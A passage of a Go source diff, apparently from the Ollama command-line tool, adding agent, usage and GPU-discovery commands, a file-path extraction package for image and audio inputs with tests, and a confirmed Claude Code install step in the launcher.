 		return err
 	}
 
-	requestedCloud := modelref.HasExplicitCloudSource(modelName)
-
-	info, err := func() (*api.ShowResponse, error) {
-		showReq := &api.ShowRequest{Name: modelName}
-		info, err := client.Show(cmd.Context(), showReq)
-		var se api.StatusError
-		if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
-			if requestedCloud {
-				return nil, err
-			}
-			if err := PullHandler(cmd, []string{modelName}); err != nil {
-				return nil, err
-			}
-			return client.Show(cmd.Context(), &api.ShowRequest{Name: modelName})
-		}
-		return info, err
-	}()
+	opts := agentTUIOptions{
+		Model:   modelName,
+		Options: map[string]any{},
+	}
+	info, err := prepareAgentModel(cmd, client, &opts, false)
 	if err != nil {
 		if handleCloudAuthorizationError(err) {
 			return nil
 		}
 		return err
 	}
+	opts.System = info.System
 
-	ensureCloudStub(cmd.Context(), client, modelName)
-
-	opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, false)
-	if err != nil {
+	if err := saveLastAgentModel(opts.Model); err != nil {
 		return err
 	}
-
-	audioCapable := slices.Contains(info.Capabilities, model.CapabilityAudio)
-	opts.MultiModal = slices.Contains(info.Capabilities, model.CapabilityVision) || audioCapable
-
-	// TODO: remove the projector info and vision info checks below,
-	// these are left in for backwards compatibility with older servers
-	// that don't have the capabilities field in the model info
-	if len(info.ProjectorInfo) != 0 {
-		opts.MultiModal = true
-	}
-	for k := range info.ModelInfo {
-		if strings.Contains(k, ".vision.") {
-			opts.MultiModal = true
-			break
+	if err := GenerateAgentTUI(cmd, client, opts); err != nil {
+		if handleCloudAuthorizationError(err) {
+			return nil
 		}
-	}
-
-	applyShowResponseToRunOptions(&opts, info)
-
-	if err := loadOrUnloadModel(cmd, &opts); err != nil {
-		return fmt.Errorf("error loading model: %w", err)
-	}
-	if err := generateInteractive(cmd, opts); err != nil {
-		return fmt.Errorf("error running model: %w", err)
+		return fmt.Errorf("error running agent: %w", err)
 	}
 	return nil
 }
@@ -2231,7 +2370,7 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
 
 func launcherActionExitsLoop(integration string) bool {
 	switch integration {
-	case "vscode":
+	case "chatgpt", "codex-app", "vscode":
 		return true
 	default:
 		return false
@@ -2277,9 +2416,6 @@ func NewCLI() *cobra.Command {
 			if experimental, _ := cmd.Flags().GetBool("experimental"); experimental {
 				return nil
 			}
-			if draftQuantize, _ := cmd.Flags().GetString("draft-quantize"); draftQuantize != "" {
-				return errors.New("--draft-quantize requires --experimental")
-			}
 			return checkServerHeartbeat(cmd, args)
 		},
 		RunE: CreateHandler,
@@ -2323,9 +2459,6 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
-	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
-	runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
-	runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode")
 
 	// Image generation flags (width, height, steps, seed, etc.)
 	imagegen.RegisterFlags(runCmd)
@@ -2333,6 +2466,15 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("imagegen", false, "Use the imagegen runner for LLM inference")
 	runCmd.Flags().MarkHidden("imagegen")
 
+	agentCmd := &cobra.Command{
+		Use:     "agent",
+		Short:   "Run an agent",
+		Args:    cobra.ExactArgs(0),
+		PreRunE: checkServerHeartbeat,
+		RunE:    AgentHandler,
+	}
+	registerAgentFlags(agentCmd)
+
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",
 		Short:   "Stop a running model",
@@ -2403,6 +2545,14 @@ func NewCLI() *cobra.Command {
 		RunE:    SignoutHandler,
 	}
 
+	usageCmd := &cobra.Command{
+		Use:     "usage",
+		Short:   "Show your ollama.com usage",
+		Args:    cobra.ExactArgs(0),
+		PreRunE: checkServerHeartbeat,
+		RunE:    UsageHandler,
+	}
+
 	listCmd := &cobra.Command{
 		Use:     "list",
 		Aliases: []string{"ls"},
@@ -2445,6 +2595,16 @@ func NewCLI() *cobra.Command {
 		_ = runner.Execute(args[1:])
 	})
 
+	var gpuDiscoverLibDirs []string
+	gpuDiscoverCmd := &cobra.Command{
+		Use:    "gpu-discover",
+		Hidden: true,
+		RunE: func(cmd *cobra.Command, _ []string) error {
+			return discover.RunNativeProbeCommand(cmd.Context(), gpuDiscoverLibDirs, os.Stdout)
+		},
+	}
+	gpuDiscoverCmd.Flags().StringArrayVar(&gpuDiscoverLibDirs, "lib-dir", nil, "Ollama runtime library directory")
+
 	envVars := envconfig.AsMap()
 
 	envs := []envconfig.EnvVar{envVars["OLLAMA_HOST"]}
@@ -2453,9 +2613,11 @@ func NewCLI() *cobra.Command {
 		createCmd,
 		showCmd,
 		runCmd,
+		agentCmd,
 		stopCmd,
 		pullCmd,
 		pushCmd,
+		usageCmd,
 		listCmd,
 		psCmd,
 		copyCmd,
@@ -2485,6 +2647,9 @@ func NewCLI() *cobra.Command {
 				envVars["OLLAMA_KV_CACHE_TYPE"],
 				envVars["OLLAMA_LLM_LIBRARY"],
 				envVars["OLLAMA_GPU_OVERHEAD"],
+				envVars["OLLAMA_IGPU_ENABLE"],
+				envVars["LLAMA_ARG_FIT"],
+				envVars["LLAMA_ARG_FIT_TARGET"],
 				envVars["OLLAMA_LOAD_TIMEOUT"],
 			})
 		default:
@@ -2497,6 +2662,7 @@ func NewCLI() *cobra.Command {
 		createCmd,
 		showCmd,
 		runCmd,
+		agentCmd,
 		stopCmd,
 		pullCmd,
 		pushCmd,
@@ -2504,11 +2670,13 @@ func NewCLI() *cobra.Command {
 		loginCmd,
 		signoutCmd,
 		logoutCmd,
+		usageCmd,
 		listCmd,
 		psCmd,
 		copyCmd,
 		deleteCmd,
 		runnerCmd,
+		gpuDiscoverCmd,
 		launch.LaunchCmd(checkServerHeartbeat, runInteractiveTUI),
 	)
 

cmd/cmd_launcher_test.go

@@ -249,7 +249,7 @@ func TestRunLauncherAction_GUIAppsExitTUILoop(t *testing.T) {
 	cmd := &cobra.Command{}
 	cmd.SetContext(context.Background())
 
-	for _, integration := range []string{"vscode"} {
+	for _, integration := range []string{"chatgpt", "vscode"} {
 		continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: integration}, launcherDeps{
 			resolveRunModel: unexpectedRunModelResolution(t),
 			launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {

cmd/cmd_test.go

@@ -1398,6 +1398,102 @@ func TestListHandler(t *testing.T) {
 	}
 }
 
+func TestUsageHandler(t *testing.T) {
+	startsAt := time.Date(2026, time.June, 29, 0, 0, 0, 0, time.UTC)
+	endsAt := time.Date(2026, time.July, 27, 0, 0, 0, 0, time.UTC)
+
+	tests := []struct {
+		name       string
+		statusCode int
+		response   any
+		want       string
+	}{
+		{
+			name:       "activity and limits",
+			statusCode: http.StatusOK,
+			response: api.UsageResponse{
+				Activity: api.UsageActivity{
+					Cost: "12.34000",
+					Period: api.UsagePeriod{
+						Type:       "last_4_weeks",
+						StartingAt: startsAt,
+						EndingAt:   endsAt,
+					},
+					Models: []api.UsageModel{{Name: "gpt-oss:120b", RequestCount: 42, Cost: "12.34000"}},
+				},
+				Limits: api.UsageLimits{
+					Session: api.UsageLimit{Usage: 0.006, Models: []api.UsageModel{{Name: "web search", RequestCount: 1}}},
+				},
+			},
+			want: "Usage\n" +
+				"  Period  2026-06-29 to 2026-07-27\n" +
+				"  Spend   $12.34000\n\n" +
+				"Activity\n" +
+				"  Model         Requests  Spend\n" +
+				"  gpt-oss:120b  42        $12.34000\n\n" +
+				"Session\n" +
+				"  Used        0.6%\n" +
+				"  Model       Requests\n" +
+				"  Web Search  1\n",
+		},
+		{
+			name:       "no usage",
+			statusCode: http.StatusOK,
+			response: api.UsageResponse{
+				Activity: api.UsageActivity{
+					Cost:   "0.00000",
+					Period: api.UsagePeriod{Type: "last_4_weeks", StartingAt: startsAt, EndingAt: endsAt},
+					Models: []api.UsageModel{},
+				},
+				Limits: api.UsageLimits{
+					Session: api.UsageLimit{Models: []api.UsageModel{}},
+					Weekly:  api.UsageLimit{Models: []api.UsageModel{}},
+				},
+			},
+			want: "Usage\n" +
+				"  Period  2026-06-29 to 2026-07-27\n" +
+				"  Spend   $0.00000\n\n" +
+				"No usage recorded for this period.\n",
+		},
+		{
+			name:       "not signed in",
+			statusCode: http.StatusUnauthorized,
+			response:   map[string]string{"error": "unauthorized"},
+			want:       "You need to be signed in to Ollama to view usage.\n\n",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
+					t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
+				}
+				w.Header().Set("Content-Type", "application/json")
+				w.WriteHeader(tt.statusCode)
+				if err := json.NewEncoder(w).Encode(tt.response); err != nil {
+					t.Fatal(err)
+				}
+			}))
+			defer server.Close()
+
+			t.Setenv("OLLAMA_HOST", server.URL)
+
+			cmd := &cobra.Command{}
+			cmd.SetContext(t.Context())
+			var out bytes.Buffer
+			cmd.SetOut(&out)
+
+			if err := UsageHandler(cmd, nil); err != nil {
+				t.Fatal(err)
+			}
+			if got := out.String(); got != tt.want {
+				t.Errorf("unexpected output (-want +got):\n%s", cmp.Diff(tt.want, got))
+			}
+		})
+	}
+}
+
 func TestCreateHandler(t *testing.T) {
 	tests := []struct {
 		name           string
@@ -1525,34 +1621,65 @@ func TestCreateHandler(t *testing.T) {
 	}
 }
 
-func TestCreateHandlerDraftQuantizeRequiresExperimental(t *testing.T) {
-	cmd := &cobra.Command{}
-	cmd.Flags().Bool("experimental", false, "")
-	cmd.Flags().String("draft-quantize", "mxfp8", "")
-	cmd.SetContext(t.Context())
+func TestCreateRequestFileNamesPreservesModelDirectoryLayout(t *testing.T) {
+	root := t.TempDir()
+	files := map[string]string{
+		filepath.Join(root, "model.safetensors"):            "sha256:model",
+		filepath.Join(root, "config.json"):                  "sha256:config",
+		filepath.Join(root, "2_Dense", "config.json"):       "sha256:dense-config",
+		filepath.Join(root, "2_Dense", "model.safetensors"): "sha256:dense-model",
+	}
 
-	err := CreateHandler(cmd, []string{"test-model"})
-	if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires --experimental") {
-		t.Fatalf("error = %v, want draft-quantize requires experimental", err)
+	got := createRequestFileNames(files)
+	want := map[string]string{
+		filepath.Join(root, "model.safetensors"):            "model.safetensors",
+		filepath.Join(root, "config.json"):                  "config.json",
+		filepath.Join(root, "2_Dense", "config.json"):       "2_Dense/config.json",
+		filepath.Join(root, "2_Dense", "model.safetensors"): "2_Dense/model.safetensors",
+	}
+
+	if diff := cmp.Diff(want, got); diff != "" {
+		t.Fatalf("mismatch (-want +got):\n%s", diff)
 	}
 }
 
-func TestCreateHandlerDraftRequiresExperimental(t *testing.T) {
+func TestCreateRequestFileNamesPreservesRelativeModelDirectoryLayout(t *testing.T) {
+	root := t.TempDir()
+	t.Chdir(root)
+
+	files := map[string]string{
+		"model.safetensors":         "sha256:model",
+		"config.json":               "sha256:config",
+		"2_Dense/config.json":       "sha256:dense-config",
+		"2_Dense/model.safetensors": "sha256:dense-model",
+		"3_Dense/config.json":       "sha256:dense-config",
+		"3_Dense/model.safetensors": "sha256:dense-model",
+	}
+
+	got := createRequestFileNames(files)
+	for file := range files {
+		if got[file] != filepath.ToSlash(file) {
+			t.Fatalf("%s = %q, want %q", file, got[file], filepath.ToSlash(file))
+		}
+	}
+}
+
+func TestCreateHandlerDraftQuantizeRequiresDraft(t *testing.T) {
 	dir := t.TempDir()
 	modelfile := filepath.Join(dir, "Modelfile")
-	if err := os.WriteFile(modelfile, []byte("FROM base\nDRAFT ./assistant\n"), 0o644); err != nil {
+	if err := os.WriteFile(modelfile, []byte("FROM base\n"), 0o644); err != nil {
 		t.Fatal(err)
 	}
 
 	cmd := &cobra.Command{}
 	cmd.Flags().Bool("experimental", false, "")
-	cmd.Flags().String("draft-quantize", "", "")
 	cmd.Flags().String("file", modelfile, "")
+	cmd.Flags().String("draft-quantize", "mxfp8", "")
 	cmd.SetContext(t.Context())
 
 	err := CreateHandler(cmd, []string{"test-model"})
-	if err == nil || !strings.Contains(err.Error(), "DRAFT requires --experimental") {
-		t.Fatalf("error = %v, want DRAFT requires --experimental", err)
+	if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires a DRAFT model") {
+		t.Fatalf("error = %v, want draft-quantize requires DRAFT", err)
 	}
 }
 

cmd/internal/filedata/filedata.go

@@ -0,0 +1,189 @@
+package filedata
+
+import (
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"net/url"
+	"os"
+	"path/filepath"
+	"regexp"
+	"slices"
+	"strings"
+
+	"github.com/ollama/ollama/api"
+)
+
+type File struct {
+	Path string
+	Data api.ImageData
+}
+
+func NormalizePath(fp string) string {
+	fp = strings.Trim(fp, "\"")
+	fp = strings.NewReplacer(
+		"\\ ", " ",
+		"\\(", "(",
+		"\\)", ")",
+		"\\[", "[",
+		"\\]", "]",
+		"\\{", "{",
+		"\\}", "}",
+		"\\$", "$",
+		"\\&", "&",
+		"\\;", ";",
+		"\\'", "'",
+		"\\\\", "\\",
+		"\\*", "*",
+		"\\?", "?",
+		"\\~", "~",
+	).Replace(fp)
+
+	if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
+		return normalizeFileURL(u)
+	} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
+		return normalized
+	}
+
+	return fp
+}
+
+// fileExtractRe matches file:// URLs and filesystem paths ending in image/audio
+// extensions. Hoisted to package scope so the per-keystroke slash-completion
+// path (chat.slashInputIsMultimodalFile -> ExtractNames) doesn't recompile it
+// on every call.
+var fileExtractRe = regexp.MustCompile(`(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`)
+
+func ExtractNames(input string) []string {
+	return fileExtractRe.FindAllString(input, -1)
+}
+
+func Extract(input string) (string, []api.ImageData, error) {
+	cleaned, files, err := ExtractWithFiles(input)
+	if err != nil {
+		return "", nil, err
+	}
+	data := make([]api.ImageData, 0, len(files))
+	for _, file := range files {
+		data = append(data, file.Data)
+	}
+	return cleaned, data, nil
+}
+
+func ExtractWithFiles(input string) (string, []File, error) {
+	filePaths := ExtractNames(input)
+	var files []File
+
+	for _, fp := range filePaths {
+		nfp := NormalizePath(fp)
+		data, err := GetData(nfp)
+		if errors.Is(err, os.ErrNotExist) {
+			continue
+		} else if err != nil {
+			return "", nil, fmt.Errorf("couldn't process file %q: %w", nfp, err)
+		}
+		input = strings.ReplaceAll(input, "'"+nfp+"'", "")
+		input = strings.ReplaceAll(input, "'"+fp+"'", "")
+		input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
+		input = strings.ReplaceAll(input, `"`+fp+`"`, "")
+		input = strings.ReplaceAll(input, fp, "")
+		files = append(files, File{Path: nfp, Data: data})
+	}
+	return strings.TrimSpace(input), files, nil
+}
+
+func GetData(filePath string) ([]byte, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	buf := make([]byte, 512)
+	_, err = file.Read(buf)
+	if err != nil {
+		return nil, err
+	}
+
+	contentType := http.DetectContentType(buf)
+	allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
+	if !slices.Contains(allowedTypes, contentType) {
+		return nil, fmt.Errorf("invalid file type: %s", contentType)
+	}
+
+	info, err := file.Stat()
+	if err != nil {
+		return nil, err
+	}
+
+	var maxSize int64 = 100 * 1024 * 1024
+	if info.Size() > maxSize {
+		return nil, errors.New("file size exceeds maximum limit (100MB)")
+	}
+
+	buf = make([]byte, info.Size())
+	_, err = file.Seek(0, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	_, err = io.ReadFull(file, buf)
+	if err != nil {
+		return nil, err
+	}
+
+	return buf, nil
+}
+
+func Kind(path string) string {
+	if strings.EqualFold(filepath.Ext(path), ".wav") {
+		return "audio"
+	}
+	return "image"
+}
+
+func normalizeFileURL(u *url.URL) string {
+	path := u.Path
+	if unescaped, err := url.PathUnescape(path); err == nil {
+		path = unescaped
+	}
+	host := u.Host
+	if unescaped, err := url.PathUnescape(host); err == nil {
+		host = unescaped
+	}
+	if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
+		return filepath.Clean(filepath.FromSlash(host + path))
+	}
+	if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
+		path = path[1:]
+	}
+	if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
+		return `\\` + u.Host + filepath.FromSlash(path)
+	}
+	return filepath.FromSlash(path)
+}
+
+func normalizeMalformedFileURL(raw string) (string, bool) {
+	const prefix = "file://"
+	if !strings.HasPrefix(strings.ToLower(raw), prefix) {
+		return "", false
+	}
+
+	path := raw[len(prefix):]
+	if unescaped, err := url.PathUnescape(path); err == nil {
+		path = unescaped
+	}
+	path = strings.TrimPrefix(path, "localhost")
+	if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
+		path = path[1:]
+	}
+	if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
+		return filepath.Clean(filepath.FromSlash(path)), true
+	}
+	return "", false
+}
+
+func isASCIIAlpha(b byte) bool {
+	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
+}

cmd/internal/filedata/filedata_test.go

@@ -0,0 +1,223 @@
+package filedata
+
+import (
+	"net/url"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
+	want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
+	want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
+	want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestExtractNames(t *testing.T) {
+	// Unix style paths
+	input := ` some preamble
+ ./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
+/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
+/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
+	res := ExtractNames(input)
+	if len(res) != 7 {
+		t.Fatalf("len = %d, want 7", len(res))
+	}
+	assertContains(t, res[0], "one.png")
+	assertContains(t, res[1], "two.jpg")
+	assertContains(t, res[2], "three.jpeg")
+	assertContains(t, res[3], "four.png")
+	assertContains(t, res[4], "five.JPG")
+	assertContains(t, res[5], "six.webp")
+	assertContains(t, res[6], "seven.WEBP")
+	assertNotContains(t, res[4], "\"")
+	for _, r := range res {
+		assertNotContains(t, r, "inbetween1")
+	}
+	assertNotContainsSlice(t, res, "./1.svg")
+}
+
+func TestExtractNamesWindowsPaths(t *testing.T) {
+	input := ` some preamble
+ c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
+ /absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
+./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
+d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
+ d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
+c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
+d:\path with\spaces\thirteen.WEBP some ending
+`
+	res := ExtractNames(input)
+	if len(res) != 13 {
+		t.Fatalf("len = %d, want 13", len(res))
+	}
+	assertNotContainsSlice(t, res, "inbetween2")
+	assertContains(t, res[0], "one.png")
+	assertContains(t, res[0], "c:")
+	assertContains(t, res[1], "two.jpg")
+	assertContains(t, res[1], "c:")
+	assertContains(t, res[2], "three.jpeg")
+	assertContains(t, res[3], "four.png")
+	assertContains(t, res[4], "five.JPG")
+	assertContains(t, res[5], "six.png")
+	assertContains(t, res[6], "seven.JPEG")
+	assertContains(t, res[6], "d:")
+	assertContains(t, res[7], "eight.png")
+	assertContains(t, res[7], "c:")
+	assertContains(t, res[8], "nine.png")
+	assertContains(t, res[8], "d:")
+	assertContains(t, res[9], "ten.PNG")
+	assertContains(t, res[9], "E:")
+	assertContains(t, res[10], "eleven.webp")
+	assertContains(t, res[10], "c:")
+	assertContains(t, res[11], "twelve.WebP")
+	assertContains(t, res[11], "c:")
+	assertContains(t, res[12], "thirteen.WEBP")
+	assertContains(t, res[12], "d:")
+}
+
+func TestExtractNamesDragDropPaths(t *testing.T) {
+	input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
+	res := ExtractNames(input)
+	if len(res) != 4 {
+		t.Fatalf("len = %d, want 4", len(res))
+	}
+	assertContains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
+	assertContains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
+	assertContains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
+	assertContains(t, res[3], `.\relative\four.png`)
+}
+
+func TestNormalizePathFileURL(t *testing.T) {
+	got := NormalizePath("file:///C:/Users/jdoe/Pictures/img.png")
+	want := filepath.FromSlash("C:/Users/jdoe/Pictures/img.png")
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestExtractRemovesQuotedFilepath(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "img.jpg")
+	data := make([]byte, 600)
+	copy(data, []byte{
+		0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
+		0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+		0xff, 0xd9,
+	})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test image: %v", err)
+	}
+
+	input := "before '" + fp + "' after"
+	cleaned, imgs, err := Extract(input)
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func TestExtractFileURL(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "img.png")
+	data := make([]byte, 600)
+	copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test image: %v", err)
+	}
+
+	fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
+	cleaned, imgs, err := Extract("before " + fileURL + " after")
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func TestExtractWAV(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "sample.wav")
+	data := make([]byte, 600)
+	copy(data[:44], []byte{
+		'R', 'I', 'F', 'F',
+		0x58, 0x02, 0x00, 0x00,
+		'W', 'A', 'V', 'E',
+		'f', 'm', 't', ' ',
+		0x10, 0x00, 0x00, 0x00,
+		0x01, 0x00,
+		0x01, 0x00,
+		0x80, 0x3e, 0x00, 0x00,
+		0x00, 0x7d, 0x00, 0x00,
+		0x02, 0x00,
+		0x10, 0x00,
+		'd', 'a', 't', 'a',
+		0x34, 0x02, 0x00, 0x00,
+	})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test audio: %v", err)
+	}
+
+	input := "before " + fp + " after"
+	cleaned, imgs, err := Extract(input)
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func assertContains(t *testing.T, s, want string) {
+	t.Helper()
+	if !strings.Contains(s, want) {
+		t.Fatalf("%q does not contain %q", s, want)
+	}
+}
+
+func assertNotContains(t *testing.T, s, want string) {
+	t.Helper()
+	if strings.Contains(s, want) {
+		t.Fatalf("%q unexpectedly contains %q", s, want)
+	}
+}
+
+func assertNotContainsSlice(t *testing.T, ss []string, want string) {
+	t.Helper()
+	for _, s := range ss {
+		if strings.Contains(s, want) {
+			t.Fatalf("slice unexpectedly contains %q in %q", want, s)
+		}
+	}
+}

cmd/launch/account.go

@@ -20,7 +20,7 @@ const (
 )
 
 var (
-	ErrPlanVerificationUnavailable = errors.New("Could not verify your plan. Try again in a moment.")
+	ErrPlanVerificationUnavailable = errors.New("Could not verify Ollama plan. Try again in a moment or use a local model.")
 	errUpgradeCancelled            = errors.New("upgrade cancelled")
 )
 
@@ -247,7 +247,7 @@ func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model strin
 		c.accountState = &state
 	}
 	if state.Status == accountStateUnknown {
-		return ErrPlanVerificationUnavailable
+		return nil
 	}
 
 	if state.Status == accountStateSignedOut {
@@ -259,7 +259,7 @@ func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model strin
 			c.accountState = &state
 		}
 		if state.Status == accountStateUnknown {
-			return ErrPlanVerificationUnavailable
+			return nil
 		}
 	}
 

cmd/launch/claude.go

@@ -7,6 +7,7 @@ import (
 	"path/filepath"
 	"runtime"
 	"strconv"
+	"strings"
 
 	"github.com/ollama/ollama/envconfig"
 )
@@ -37,17 +38,21 @@ func (c *Claude) findPath() (string, error) {
 	if runtime.GOOS == "windows" {
 		name = "claude.exe"
 	}
-	fallback := filepath.Join(home, ".claude", "local", name)
-	if _, err := os.Stat(fallback); err != nil {
-		return "", err
+	for _, fallback := range []string{
+		filepath.Join(home, ".local", "bin", name),
+		filepath.Join(home, ".claude", "local", name),
+	} {
+		if _, err := os.Stat(fallback); err == nil {
+			return fallback, nil
+		}
 	}
-	return fallback, nil
+	return "", fmt.Errorf("claude binary not found")
 }
 
-func (c *Claude) Run(model string, args []string) error {
-	claudePath, err := c.findPath()
+func (c *Claude) Run(model string, _ []LaunchModel, args []string) error {
+	claudePath, err := ensureClaudeInstalled()
 	if err != nil {
-		return fmt.Errorf("claude is not installed, install from https://code.claude.com/docs/en/quickstart")
+		return err
 	}
 
 	cmd := exec.Command(claudePath, c.args(model, args)...)
@@ -55,17 +60,104 @@ func (c *Claude) Run(model string, args []string) error {
 	cmd.Stdout = os.Stdout
 	cmd.Stderr = os.Stderr
 
-	env := append(os.Environ(),
-		"ANTHROPIC_BASE_URL="+envconfig.Host().String(),
+	cmd.Env = append(os.Environ(), c.envVars(model)...)
+	return cmd.Run()
+}
+
+func (c *Claude) envVars(model string) []string {
+	env := []string{
+		"ANTHROPIC_BASE_URL=" + envconfig.Host().String(),
 		"ANTHROPIC_API_KEY=",
 		"ANTHROPIC_AUTH_TOKEN=ollama",
 		"CLAUDE_CODE_ATTRIBUTION_HEADER=0",
-	)
+		"DISABLE_ERROR_REPORTING=1",
+		"DISABLE_FEEDBACK_COMMAND=1",
+		"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1",
+	}
 
 	env = append(env, c.modelEnvVars(model)...)
+	return env
+}
 
-	cmd.Env = env
-	return cmd.Run()
+func ensureClaudeInstalled() (string, error) {
+	if path, err := (&Claude{}).findPath(); err == nil {
+		return path, nil
+	}
+
+	if err := checkClaudeInstallerDependencies(); err != nil {
+		return "", err
+	}
+
+	ok, err := ConfirmPrompt("Claude Code is not installed. Install now?")
+	if err != nil {
+		return "", err
+	}
+	if !ok {
+		return "", fmt.Errorf("claude installation cancelled")
+	}
+
+	bin, args, err := claudeInstallerCommand(runtime.GOOS)
+	if err != nil {
+		return "", err
+	}
+
+	fmt.Fprintf(os.Stderr, "\nInstalling Claude Code...\n")
+	cmd := exec.Command(bin, args...)
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		return "", fmt.Errorf("failed to install claude: %w", err)
+	}
+
+	path, err := (&Claude{}).findPath()
+	if err != nil {
+		return "", fmt.Errorf("claude was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
+	}
+
+	fmt.Fprintf(os.Stderr, "%sClaude Code installed successfully%s\n\n", ansiGreen, ansiReset)
+	return path, nil
+}
+
+func checkClaudeInstallerDependencies() error {
+	switch runtime.GOOS {
+	case "windows":
+		if _, err := exec.LookPath("powershell"); err != nil {
